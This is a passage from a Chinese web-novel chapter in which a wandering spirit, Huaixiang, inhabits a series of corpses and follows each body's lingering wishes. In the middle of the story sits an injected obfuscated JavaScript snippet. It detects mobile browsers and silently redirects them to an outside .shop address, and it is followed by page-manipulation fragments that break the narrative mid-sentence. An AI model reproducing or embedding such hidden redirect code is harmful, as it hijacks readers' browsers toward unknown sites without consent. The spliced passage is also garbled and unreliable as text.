风终于停了。
临江的集市上热闹非常,来往行人或行色匆匆,或悠然自得。商贩们为了吸引来人驻足,叫卖声一阵盖过一阵。
淮相俯视着眼下喧嚣,脑中尽是混沌。
这是哪?
她被关得太久了些,早已不知今夕何夕,她亦从未来过凡间,更遑论身处何方。
六月的天光刺眼,她拢了拢身子,瞄准最近的树荫躲了进去。
不止是人,连小孩子斗的蛐蛐也瞧不见她,无人交谈的日子过于无趣,淮相将整个身子缩成巴掌大一团,落在蛐蛐颤巍巍的胡须上,自己玩了起来。
正当她将打斗的小虫整个包裹起来时,一阵大力的拉扯感袭来,拖着她脱离斗盆,穿过院墙、回廊与庭院。
失重感陡然消失,淮相下意识抬手去按太阳穴,却听到了哗哗的水声。
她能听到声音了。
难得一件好事,她顾不得呛进的几口水,猛地从水中浮出。
拂去遮住眼睫的花瓣,入目的是雪白的肩颈和姣好的面容。
见到个美人,淮相心情极好,打招呼的话脱口而出:“你——”
又戛然而止。
这怎么是个男人的声音!
短暂地惊慌过后,淮相释然了,能找到附身的躯壳极其不易,还纠结什么性别呢。
在她的认知里,能一同沐浴的异性只有夫妻,于是她扬起个笑脸,“娘子这是怎么了?”
美人娘子终于回过神,失声惊叫起来,尖利的嗓音几乎要穿透她的耳膜。
淮相不由得捂住耳朵,低头时才发觉自己不仅穿着衣裳,胸口还插着一枚簪子。
此时,鲜血正沿着水迹一寸寸染红花瓣下的温水。
淮相脑中只剩一个念头。
跑!
可惜这副身子又僵又硬,她在爬出浴桶时绊了一跤,扒窗时被赶来的小厮抓住腿脚拖了出去。
四周充斥着美人的抽泣声和美人父亲的怒吼声,淮相觉得,自己即将被碎尸万段。
“闺女别怕,爹将这王八羔子剥皮拆骨,定要为你出气!”
“爹,我不要出气,你把他打死,把他打死好不好,就是他害了小梅,小梅若不是被他……也不会嫁给那克死三任妻子的莽夫……”
淮相小声开口,“这会不会有什么误会。”
没有人愿意莫名其妙变成个坏人,她想为自己争取一下。
“误会?”美人的父亲狠狠踢了她一脚,从袖中翻出个通缉令拍在淮相脸上,“连胎记都对得上,你和我说这是误会?在我女儿房中欲行不轨,你和我说这是误会?别以为你做了这种事就能攀上高枝,老子最瞧不起的就是你这种下流的龌龊鼠辈!”
淮相并没有感觉到疼痛,还有心思想这老头骂的真好,若是没把口水喷她在脸上,就更好了。
在淮相的认知里,凡人出现这种没有痛感的状况只有一种可能:做梦。
美人的父亲气不过,叫来四个小厮,吩咐道:“给我往死里打!”
板子落在身上时,淮相确信了自己的想法,既然是做梦,便顺其自然好了。
不知过了多久,久到她等的不耐烦闭上眼装死时,小厮们顺其自然的将她扔到荒郊野岭喂野狗。
附身的躯壳逐渐腐败,淮相觉得这个梦有些太长了,直到昏昏沉沉数过第六次日升月落,她终于睡了过去。
——
淮相挨了一鞭子。
没有痛觉,只是身体狠狠摇晃起来,她睁开眼,看清了眼前景象。
黛瓦青墙下,一柔弱女子跪伏在地,身上披着件宽大的浓绿色罩衫,正捂着脸低声哭泣。
身形魁梧的绿衣青年手执长鞭,面容扭曲,“你个贱妇,偷人就算了,还敢将奸夫带回家中!若不是我今日早归,还要被你们蒙蔽多久!”
话是对女子说的,鞭子却结结实实落在淮相身上,抽的她转了几个圈,瘦弱的身子摇摇欲坠。
她不由得想起师傅讲过的话本,这种情景,八成是被冤枉了呀。
淮相轻轻咳了一声,“这位仁兄……”
柔弱妇人见她醒了,惊喜道:“三郎!你还活着!”
淮相:“……”
青年的鞭子倏然落地,愤怒的面庞染上菜色,不知是衣衫映上的还是头顶映下的。
妇人委屈的哭喊声仍在继续,“三郎,你带我走吧三郎……”
淮相不由得想,这种情形还要火上浇油,真的是情郎不是仇敌吗?
隔了许久,青年的神情逐渐释然,他自嘲一笑,“既如此,我成全你们。”
青年休了妻,将前妻的东西和人打包扔出府邸,那女子欣喜的扑进淮相的怀里,“太好了三郎,我们现在回京吧!”
“回京?”
“对啊三郎,你不是说你是京城王家的公子……”
“我骗你的。”
高门公子怎么可能任由自己沦落到这种境地,一听便是骗蠢蛋的假话。
女子猛然想起什么,从怀中取出一物,“三郎交代得事小梅都做好了,求求三郎不要丢下小梅……”
淮相接过那半枚新得像刚出炉的虎符,只觉得小梅这名字分外耳熟。
她问:“我要你做什么你都答应?”
小梅慌忙点头,期盼的眼中闪着泪光。
她说:“把这个送回去。”
小梅一愣,“三郎不是……”
“送回去。”
小梅颤着身子敲开偏门,淮相在门缝中瞧见一双明亮的眼。
那双眼在看清虎符的一刻散尽光芒。
——
“他、他死了吗?”
“小声些,我们快逃……”
淮相再次睁开眼,入目是雕着瑞兽纹样的黄花梨架子床,鼻尖是清雅的熏香,连挂的围帐都是绫罗。
她还未欣赏完围帐上织的花样,便觉得脖颈处一紧。
身侧两个美人见她还能喘气,再次扯紧罗衣要将她勒死。
淮相任由两人折腾,心中却泛起异常,周围的一切都太过真实,精细到连立柱雕花都分外考究,她不信自己的脑子能凭空构建出如此庞大而合理的世界。
唯一不合理的,只有她这个每次附到死人身上的魂魄而已。
作为一具尸体,身体僵硬没有痛觉是再正常不过的事情。淮相扯下颈上罗衣,若不是梦境,就难办了些。
那两个美人见她怎样都不死,惨白着唇色退至床角,互相紧靠着瑟瑟发抖。
淮相见不得美人受惊,大手一挥道:“今天没兴致,你们回去吧。”
美人缩在床角一动不动。
淮相叹息一声,拉开床幔,“还要我送——”
地上躺着个人。
一个被捆住手脚、塞住嘴巴、眼眶通红的男子。
她这才看清楚,这三人样貌相似。
未出口的话就这样噎在喉咙,淮相只觉得心口发堵,这这这,这是把人姐妹捉来了,还当着人面!
这还是人吗!
男子不知被捆了多久,她叫来府医为人诊治,自己则理好衣衫在府中闲逛起来。
小厮匆匆追上淮相,“老爷,那崔傲先前那样顶撞于您,就这么算了?”
“你想怎样。”
“要不要小弟再给他些教训?”
闻言,淮相冲小厮挑眉邪笑,“不必,不与我结亲便是他此生最大的损失。”
小厮瞥了眼自家老爷的尊容,额角抽搐起来,压低声音道:“那、那、老爷,王泉那边许久都没动静,要不要换个人去盗虎符。”
看来此人不是小厮,是扮作小厮的心腹。
一听到虎符二字,淮相心中涌出强烈的冲动:当皇帝。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614306|206042||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
这样的冲动在附身到前两副尸体上时也出现过,一个不能说,一个要拿到虎符。
或许她可以试着,沿着这冲动走一走。
“此事不急。”
心腹的表情一言难尽,还是认命的退下。
淮相装模作样踱进书房,在里面待了两个时辰。
书房内一直有动静,就是不见人出来,心腹怕其遭遇不测慌张闯入,却愣住了。
只见自家老爷一面扯着头发一面嘴唇翕动念念有词,心腹大着胆子凑近,终于听清老爷口中所言:
“就你还想当皇帝!”
老爷疯了。
……
鼻尖充斥着血腥气,偶尔有小虫跳在身上,淮相从草堆上爬起,用僵硬的身子摆了个规矩的坐姿。
自从将自己送进大牢,淮相便无事可做起来。她咬破指尖,艰难地挤出血迹,在囚衣上画起咒印。
无事发生。
淮相又画了几个不同的咒印,结果皆是无事发生。
她不知是身体的问题还是咒印的问题,眼下什么也做不了,只能翻个身,继续窝在草堆里等死。
——
又是那种有依托却无着落的感觉,淮相有些厌倦。
无论妖仙,身死后能在入轮回前找到一副躯壳都是百不一遇的事,她却接连遇到四次。
先前的身体照旧腐败着,无法使用,淮相说不清这是福是祸,只觉得不如在天上飘着来得自在。
流落几遭,淮相脑中混沌彻底散去,她想起天宫的过往,想起背着师傅偷偷出来时的心境,管他呢,师傅才是最重要的。
淮相望着那轮有缺的月,手指动了动,抓到一把土。
她将扑满尘土的手举到眼前,翻来覆去的瞧着,颜色过分苍白了些,掌心还带着薄茧,但一眼便能看出,这是个年轻姑娘的手。
她心有余悸的想:这姑娘不会也是什么恶贯满盈的败类吧。
不过,听听这副身体在想什么,不就知道了。
淮相放空身体,没感受到任何异样,只听见蚊鸣般的说话声。
哪怕是黑夜,她也能看清楚几丈外树上的乌雀,是名副其实的耳聪目明。
“我就说没事儿吧,那渡三命硬的很,你还怕,怕个球!”
“我这不是……刚才没收住,下手重了些吗……”
熟悉的感觉终于出现,这姑娘想的是:狠狠揍那二人一顿。
只是打架这么容易?
淮相起身,僵着身子向那二人而去。
两个十四五岁的少年,一个白白胖胖穿着富贵,像是谁家受宠的少爷,另一个则是小厮扮相,见到她来,他们面上没有丝毫心虚。
白胖少年对她探究的目光很是不喜,“看什么看,还想讨打?”
淮相愣住了,她居然是被欺负的一方。
这样打他们一顿也没什么问题。
“小朋友,你很没教养。”
两人对这样反驳的话很是吃惊,冷不防被眼前人偷袭,脑袋上结结实实挨了一击,应声倒地。
淮相怕自己一个人打不过,在手上端了块石头,没想到这身体是个会武的。幸好四肢不灵活,否则这两个小孩就要去见祖宗了。
两个少年虽狼狈的捂着脑袋,脸上却明晃晃写着不服,淮相想起狠揍二字,对着二人又是一阵拳打脚踢,她不确定这位渡三的死因究竟是什么,并未下死手。直到对方从言辞激烈地问候变为痛彻心扉的哀求。
淮相忽然感到身体一轻,再握拳时,五指灵活自如。
她有些惊讶,就是这一瞬的停歇,白胖少年忽然跃起,意图攻击她的面门。
她没心思再闹下去,将他一脚踹回小厮身上后踩住那乱动的身体,咬破手指在锦衣上画了个血咒。
无事发生。
淮相眉头微蹙,怎么会这样?